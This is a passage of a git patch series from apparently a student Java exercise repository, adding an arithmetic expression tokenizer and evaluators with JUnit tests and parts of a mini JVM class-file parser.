+	public static void main(String[] args) {
+		String s = "123";
+		System.out.println(Integer.valueOf(s).intValue());// �Ȱ� String װ���� Integer Ȼ����ת��int
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/Token.java b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/Token.java
new file mode 100644
index 0000000000..bb16a7c9e9
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/Token.java
@@ -0,0 +1,66 @@
+package dataStructure_7_PreAndPost;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+	
+	public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	
+	static { 
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}
+	
+	public boolean isNumber(){
+		return type == NUMBER;
+	}
+	
+	public boolean isOperator(){
+		return type == OPERATOR;
+	}
+	
+	public int getIntValue(){
+		return Integer.valueOf(value).intValue();
+	}
+	
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if( !this.isOperator() || !t.isOperator()){
+			throw new RuntimeException("number can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+	
+	
+	
+	
+	
+	
+	
+	
+	
+	
+	
+	
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TokenParser.java b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TokenParser.java
new file mode 100644
index 0000000000..dda9412e24
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TokenParser.java
@@ -0,0 +1,55 @@
+package dataStructure_7_PreAndPost;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+		public  List<Token> parse(String expr) {
+			List<Token> tokens = new ArrayList<>();
+	
+			int i = 0;
+	
+			while (i < expr.length()) {
+	
+				char c = expr.charAt(i);
+	
+				if (isOperator(c)) {
+	
+					Token t = new Token(Token.OPERATOR, String.valueOf(c));
+					tokens.add(t);
+					i++;
+	
+				} else if (Character.isDigit(c)) {
+	
+					int nextOperatorIndex = indexOfNextOperator(i, expr);
+					String value = expr.substring(i, nextOperatorIndex);
+					Token t = new Token(Token.NUMBER, value);
+					tokens.add(t);
+					i = nextOperatorIndex;
+	
+				} else{
+					System.out.println("char :["+c+"] is not number or operator,ignore");
+					i++;
+				}
+	
+			}
+			return tokens;
+		}
+	
+		private  int indexOfNextOperator(int i, String expr) {
+	
+			while (Character.isDigit(expr.charAt(i))) {
+				i++;
+				if (i == expr.length()) {
+					break;
+				}
+			}
+			return i;
+	
+		}
+	
+		private  boolean isOperator(char c) {
+			String sc = String.valueOf(c);
+			return Token.OPERATORS.contains(sc);
+		}
+}

From 4d79c885b5ad410ac6711ac0f0c132866a8124f7 Mon Sep 17 00:00:00 2001
From: "songbao.yang" <songbao.yang@qunarservers.com>
Date: Mon, 24 Apr 2017 08:08:32 +0800
Subject: [PATCH 116/262] =?UTF-8?q?=E4=B8=AD=E5=BA=8F=E8=A1=A8=E8=BE=BE?=
 =?UTF-8?q?=E5=BC=8F+jvm=E5=AD=97=E6=AE=B5=E6=96=B9=E6=B3=95=E8=A7=A3?=
 =?UTF-8?q?=E6=9E=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding/basic/stack/expr/InfixExpr.java    | 115 ++++++++++++
 .../basic/stack/expr/InfixExprTest.java       |  52 ++++++
 .../basic/stack/expr/InfixToPostfix.java      |  14 ++
 .../coding/basic/stack/expr/PostfixExpr.java  |  15 ++
 .../basic/stack/expr/PostfixExprTest.java     |  40 +++++
 .../coding/basic/stack/expr/PrefixExpr.java   |  15 ++
 .../basic/stack/expr/PrefixExprTest.java      |  45 +++++
 .../com/coding/basic/stack/expr/Token.java    |  51 ++++++
 .../coding/basic/stack/expr/TokenParser.java  |  57 ++++++
 .../basic/stack/expr/TokenParserTest.java     |  39 +++++
 .../coderising/jvm/attr/AttributeInfo.java    |  19 ++
 .../src/com/coderising/jvm/attr/CodeAttr.java | 114 ++++++++++++
 .../coderising/jvm/attr/LineNumberTable.java  |  65 +++++++
 .../jvm/attr/LocalVariableItem.java           |  49 ++++++
 .../jvm/attr/LocalVariableTable.java          |  57 ++++++
 .../coderising/jvm/attr/StackMapTable.java    |  32 ++++
 .../src/com/coderising/jvm/clz/ClassFile.java |  37 +++-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  22 +++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 133 ++++++++++++++
 .../com/coderising/jvm/cmd/CommandParser.java |  84 +++++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  20 +++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  22 +++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +++
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 ++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 +++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 ++
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  63 +++++++
 .../src/com/coderising/jvm/field/Field.java   |  50 ++++++
 .../jvm/loader/ClassFileParser.java           |  21 ++-
 .../src/com/coderising/jvm/method/Method.java |  99 +++++++++++
 .../jvm/print/ClassFilePrinter.java           |  45 +++++
 .../jvm/print/ConstantPoolPrinter.java        |  18 ++
 .../jvm/test/ClassFileloaderTest.java         | 164 +++++++++++++++++-
 .../com/coderising/jvm/test/EmployeeV1.java   |   2 +-
 37 files changed, 1705 insertions(+), 15 deletions(-)
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParserTest.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/method/Method.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java

diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExpr.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..4201398137
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,115 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class InfixExpr {
+
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+
+		if (!check(tokens)){
+			throw new RuntimeException("illegal expression");
+		}
+
+		Stack<Token> operatorStack = new Stack<Token>();
+		Stack<Token> numberStack = new Stack<Token>();
+
+		for (Token token : tokens){
+
+			if (token.isNumber()){
+				numberStack.push(token);
+			}
+
+			if (token.isOperator()){
+
+				if (operatorStack.isEmpty() || token.hasHigherPriority(operatorStack.peek())){
+					operatorStack.push(token);
+
+				} else {
+					popOneOperator(operatorStack, numberStack);
+
+					if (operatorStack.isEmpty() || token.hasHigherPriority(operatorStack.peek())){
+						operatorStack.push(token);
+
+					} else {
+						popOneOperator(operatorStack, numberStack);
+						operatorStack.push(token);
+					}
+				}
+			}
+		}
+
+		while (!operatorStack.isEmpty()){
+
+			popOneOperator(operatorStack, numberStack);
+		}
+
+		return Float.valueOf(numberStack.pop().toString());
+	}
+
+	private void popOneOperator(Stack<Token> operatorStack, Stack<Token> numberStack){
+
+		Token operator = operatorStack.pop();
+		Token num1 = numberStack.pop();
+		Token num2 = numberStack.pop();
+		float res = evaluateTwo(num2, num1, operator);
+		numberStack.push(new Token(Token.NUMBER, String.valueOf(res)));
+	}
+
+	private float evaluateTwo(Token num1, Token num2, Token o){
+
+		Float s1 = Float.valueOf(num1.toString());
+		Float s2 = Float.valueOf(num2.toString());
+
+		if (o.toString().equals("+")){
+			return s1 + s2;
+
+		} else if (o.toString().equals("-")){
+			return s1 - s2;
+
+		} else if (o.toString().equals("*")){
+			return s1 * s2;
+
+		} else if (o.toString().equals("/")){
+			return s1 / s2;
+		}
+
+		throw new RuntimeException("unsupported operator [" + o.toString() + "]");
+	}
+
+	private boolean check(List<Token> tokens) {
+
+		if (tokens == null || tokens.isEmpty()){
+			return false;
+		}
+
+		int i = 0;
+		for (Token token : tokens){
+			if (token.isNumber()){
+				i++;
+				if ( i != 1){
+					return false;
+				}
+			}
+
+			if (token.isOperator()){
+				i--;
+				if ( i != 0){
+					return false;
+				}
+			}
+		}
+		return i == 1;
+	}
+	
+	
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExprTest.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20e34e8852
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..96a2194a67
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,14 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		
+		return null;
+	}
+	
+	
+
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExpr.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..3854996ebf
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,15 @@
+package com.coding.basic.stack.expr;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..2f8c48fc70
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,40 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExpr.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..d6d90d32dc
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,15 @@
+package com.coding.basic.stack.expr;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/Token.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..ade4e96c24
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,51 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String, Integer> priorities = new HashMap<String, Integer>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParser.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..5d655167b6
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<Token>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParserTest.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..66402e1f3c
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,39 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/attr/CodeAttr.java b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..9ab4480643
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,114 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+import org.w3c.dom.Attr;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+
+		int attrNameIndex = iter.nextU2ToInt();
+		String name = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+
+		int attrLength = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLength = iter.nextU4ToInt();
+
+		String code = iter.nextUxToHexString(codeLength);
+		System.out.println("code: " + code);
+
+		ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile, code);
+
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLength, maxStack, maxLocals, codeLength, code, cmds);
+
+		int exceptionTableLength = iter.nextU2ToInt();
+
+		if (exceptionTableLength > 0){
+			System.out.println(iter.nextUxToHexString(exceptionTableLength));
+			//TODO parse exception
+			System.out.println("just ignore exception!!");
+		}
+
+		int subAttrCount = iter.nextU2ToInt();
+		for (int i = 0; i < subAttrCount; i++) {
+
+			int subAttrNameIndex = iter.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrNameIndex);
+			iter.back(2);
+
+			if (AttributeInfo.LINE_NUM_TABLE.equals(subAttrName)){
+				codeAttr.setLineNumberTable(LineNumberTable.parse(iter));
+
+			} else if (AttributeInfo.LOCAL_VAR_TABLE.equals(subAttrName)){
+				codeAttr.setLocalVariableTable(LocalVariableTable.parse(iter));
+
+			} else if (AttributeInfo.STACK_MAP_TABLE.equals(subAttrName)){
+				codeAttr.setStackMapTable(StackMapTable.parse(iter));
+
+			} else {
+				throw new RuntimeException("Need code to process " + subAttrName);
+			}
+		}
+
+		return codeAttr;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..25bf83778c
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,65 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLenght = iter.nextU4ToInt();
+
+		LineNumberTable lineNumberTable = new LineNumberTable(attrNameIndex, attrLenght);
+
+		int lineNumberTableLenght = iter.nextU2ToInt();
+		for (int i = 0; i < lineNumberTableLenght; i++) {
+			LineNumberItem lineNumberItem = new LineNumberItem();
+			lineNumberItem.setStartPC(iter.nextU2ToInt());
+			lineNumberItem.setLineNum(iter.nextU2ToInt());
+		}
+
+		return lineNumberTable;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..9561e904a9
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,49 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+
+	public int getStartPC() {
+		return startPC;
+	}
+
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+
+	public int getDescIndex() {
+		return descIndex;
+	}
+
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+
+	public int getIndex() {
+		return index;
+	}
+
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..435322a1a4
--- /dev/null
